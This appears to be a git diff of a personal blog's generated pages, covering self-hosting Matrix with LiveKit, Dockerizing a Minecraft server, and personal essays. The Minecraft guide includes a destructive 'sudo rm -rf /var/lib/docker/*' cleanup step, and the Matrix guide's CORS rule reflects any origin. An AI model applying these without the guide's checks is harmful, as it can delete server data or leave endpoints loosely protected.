    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • Stagger joints so nothing stacks under the diffuser.
    • Heat‑shrink + a dot of hot glue = happier future you.
    • Continuity before power. Multimeter first, electrons last.
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.


    10) Why these design choices?

    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • Safe Mode default. People first. Demos are opt‑in.
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.

    11) What I learned

    • A logo is a better messenger than a dashboard.
    • Everyone knows what orange means without a legend.
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^

    12) Final notes

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/matrix_setup/index.html b/public/posts/matrix_setup/index.html new file mode 100644 index 0000000..07d3551 --- /dev/null +++ b/public/posts/matrix_setup/index.html @@ -0,0 +1,181 @@ +Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) | AlipourIm journeys +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from 'waiting for media' to solid calls.
    Matrix, Signal but distributed
    Distributed end-to-end encrypted chat platform

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    What I’m building

    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • TURN/STUN (coTURN) for NAT traversal.
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • Nginx (host) as the single reverse proxy for everything.
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.


    Prereqs

    • DNS A/AAAA:
      • matrix.example.com → your server (v4/v6)
      • rtc.example.com → your server (v4/v6)
    • Certificates:
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • UFW / firewall open:
      • 80/tcp, 443/tcp
      • 8448/tcp (Matrix federation)
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
    • Docker + docker compose installed.

    Synapse + PostgreSQL

    1) The PostgreSQL collation gotcha

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    Databasehasincorrectcollationof'en_US.utf8'.Shouldbe'C'

    Two ways to resolve:

    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +

    Requires wiping the volume and recreating the DB.

    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.

    2) Start Synapse and generate config

    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    3) Create an admin user

    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.


    TURN (coTURN)

    1) Avoid bad inline comments

    If you see errors like:

    ERROR:Unknownbooleanvalue:#logtojournald/syslog.Youcanuseon/off,yes/no,1/0,true/false.

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    2) Minimal turnserver.conf

    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    In homeserver.yaml:

    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.


    Nginx (host) for Synapse and federation

    Create /etc/nginx/conf.d/matrix.conf:

    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    Element Call + LiveKit

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    1) LiveKit config (/etc/livekit.yaml inside container)

    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    2) elementcall_jwt env

    Run it with:

    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • LIVEKIT_KEY=lk_prod_1
    • LIVEKIT_SECRET=<the long secret above>
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    3) Nginx (host) for rtc.example.com

    Create /etc/nginx/conf.d/rtc.conf:

    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.


    The “waiting for media” debugging story (how I found it)

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    What worked:

    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • TURN creds endpoint returned time-limited credentials.

    What didn’t appear:

    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.

    Step 1: prove the WS vhost works (even without auth)

    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    Step 2: check the browser console

    The smoking gun in DevTools:

    AFcectecshs-ACPoIntcraonln-oAtllloowa-dOrhitgtipns:c/a/nrntoct.ecxoanmtpalien.cmoomr/esftuh/agnetondeueortiogianc.cesscontrolchecks.

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    Fix: in Nginx I added:

    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    Step 3: confirm LiveKit side

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.


    Useful verification commands

    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    Common pitfalls (I hit these so you don’t have to)

    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.

    Final checklist (print me)

    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • LiveKit logs show participants joining (not just CreateRoom).
    • /voip/turnServer returns time-limited TURN credentials.
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.

    Credits & tooling

    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.

    Happy calling! 🎉

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/minecraft_server/index.html b/public/posts/minecraft_server/index.html new file mode 100644 index 0000000..5065e3f --- /dev/null +++ b/public/posts/minecraft_server/index.html @@ -0,0 +1,74 @@ +Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    Why

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    • failed to register layer: ... no space left on device
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • Wanting config in a neat .env and no whitelist

    Here’s exactly what I did.


    Folder layout

    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    .env (secrets & knobs)

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.


    docker-compose.yml

    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +

    The version: key in Compose is obsolete now, so I dropped it.


    Add Geyser (and optional Floodgate) as plugins

    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.


    Hit a wall: /var ran out of space

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    /dev/mapper/ubuntu--vg-var3.9G3.4G333M92%var

    Quick cleanup

    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    Option A — Move Docker’s data off /var

    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    Check free space in the VG:

    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    The version mismatch: pre-release vs stable

    My logs showed:

    Startingminecraftserverversion1.21.9Pre-Release2

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    1. Ensure .env has:
      VERSION=LATEST_RELEASE
      +
    2. Recreate:
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    3. Verify:
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).


    No whitelist

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).


    Backup & updates

    • World/data live under the mc-data volume → back up /data regularly.
    • Update cleanly:
      docker compose pull && docker compose up -d
      +
    • Watch space:
      watch -n5 'df -h /var; docker system df'
      +

    TL;DR

    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • Keep configs in .env.
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • Verify version in logs after each change.

    Happy block-breaking! 🧱🚀

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/page/1/index.html b/public/posts/page/1/index.html new file mode 100644 index 0000000..f7923e4 --- /dev/null +++ b/public/posts/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/ + \ No newline at end of file diff --git a/public/posts/page/2/index.html b/public/posts/page/2/index.html new file mode 100644 index 0000000..9b1de14 --- /dev/null +++ b/public/posts/page/2/index.html @@ -0,0 +1,10 @@ +Posts | AlipourIm journeys +

    Hello World

    This is a test hello world post just to make sure everything works!

    August 25, 2025 · 1 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/posts/relationships/index.html b/public/posts/relationships/index.html new file mode 100644 index 0000000..afce6d7 --- /dev/null +++ b/public/posts/relationships/index.html @@ -0,0 +1,133 @@ +Relationships | AlipourIm journeys +

    Relationships

    My experience so far with relationships

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.

    So… do you also think you’re a lover boy, kind, nice person? +So do I! +I think I’m actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.

    My problem is when things are to become more serious! +Like, you know… connecting at a more emotional level. +A “relationship”. +I’m really bad at those. +In fact, I haven’t ever been in one! +Now let’s be honest, I’m not your typical jacked, handsome boy, but I think I’m somewhere around the average if not higher a bit? +Well, at least I hope so! :D

    I actually haven’t even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like… yea dude… it was a date buddy. +Why do I say it wasn’t a date? +Well, because I was told so yesterday by her. +That if it’s a date, you’re supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn’t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
    We even found our “favorite shops” in the city together! +It was weird! I’m so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time.

    But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon “hopefully”. +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that “the slots won’t be filled”. +It was weird, as if she was telling me I’m going to be taken if you don’t do anything…? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I’ve been friendzoning her. +That I’m not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the “ways”, she said “I don’t play games and I also advise you not to get together with people that do so”. +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I’m doing is normal and things are going well. +But I guess I was wrong?

    I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn’t go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn’t even know she was joining them or not. +It’s kinda weird, but the plans were made in a group she was not inside of. +Anyway.

    October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let’s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn’t just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn’t know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that’s how you can know if you like someone or not. If it’s two way ofc. +I asked her what is this “click”? +She said “you know when you know, and if you think you don’t know then there isn’t one”. +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it… +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date “early”, as time is of essence. +Again, I was confused. +I was lost. +We’ve been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that’s just how I felt in my mind? +Maybe things in my brain are just different? +I don’t know.

    My sister in law told me that she probably had a crush on me and that I didn’t reciprocate her feelings perhaps? +That I’m friendzoning her by not touching her back or asking her out on a “date”. +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date.

    She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, “we were so different from eachother at a much deeper level”. +That her “life experiecnes” are just different, “and so on”. +She did actually say “and so on”.

    You know what it reminds me of? +Of when your paper gets rejected by saying “lacks novelty”. xD

    Another extremely funny thing is that she said we’re so different at a much deeper level, but she doesn’t even know me. +What was meant at a deeper level? +I’m confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don’t even know me? I’m so so incredibly confused. +I guess it could be the looks, and the “vibes”? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won’t pursue her I guess? +Idk.

    I want to also come back to this point she made that she is “starting a new relationship”. +She told me in the same conversation that someone asked her out (which she technically didn’t even say this, but it could be induced), and that going on a date “does not mean you’re in a relationship, that you want to know eachother”. +Her saying that “I said I’m starting a new relationship” hurt me, not because she is doing that, because she didn’t technically tell me that. +She then said “I always tell people this to avoid confusion”. +I definitly didn’t miss it if she did. She didn’t, but whatever. It’s fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me… +Did I miss it? +She didn’t. Just trust me on this one. ;)

    I’m just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don’t blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an “undefined state” of a relationship, and that she wants to keep it “friendly” in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn’t even show interest about being friends, which is again totally fine. +But I’m just so baffeled by all of this.

    So… yea. This last “thing”, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I’ve been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can’t just say the good stuff though. She was definitly a bit self-centered. It’s funny how she told me that “people say I’m so proud in a negative way, but anyone who talks with me knows I’m not like that”. Which is true, she wasn’t proud, the correct term is self-centered, or “narcissistic” if you will, which I don’t neceserrialy think is bad, but it is definitly an orange/yellow flag.

    One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I’m hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don’t know.

    Well. I don’t know what’s gonna happen next, but I’m going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won’t be alone? Who knows? haha.

    P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I’m worth more than that. :) In my therapy session I remembered that in each of these so called “not dates” we had a conversation about “her”, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/scent_of_a_woman/index.html b/public/posts/scent_of_a_woman/index.html new file mode 100644 index 0000000..a81c737 --- /dev/null +++ b/public/posts/scent_of_a_woman/index.html @@ -0,0 +1,47 @@ +Movie review: Scent of a Woman | AlipourIm journeys +

    Movie review: Scent of a Woman

    My reaction to the movie as a not so pro movie watcher

    I’m not a big movie watcher. +In fact, I don’t remember the last time I watched a whole movie in a single day. +It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.

    Few points before I begin.

    • This was aside from the therapy session.
    • My therapist does not tell me what to do, or if I’m wrong or right or anything like that.
    • I watched this movie in about two parts in a single day!
    • I knew Al Pacino’s face from Godfather series, but didn’t know his name.
    • I’m not a big movie person, so whatever I say should be taken with a grain of salt. Just don’t be offended, take it face up and as is.

    The movie is about a good young student named Chris O’Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.

    The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.

    Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn’t really there for him.

    When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees.

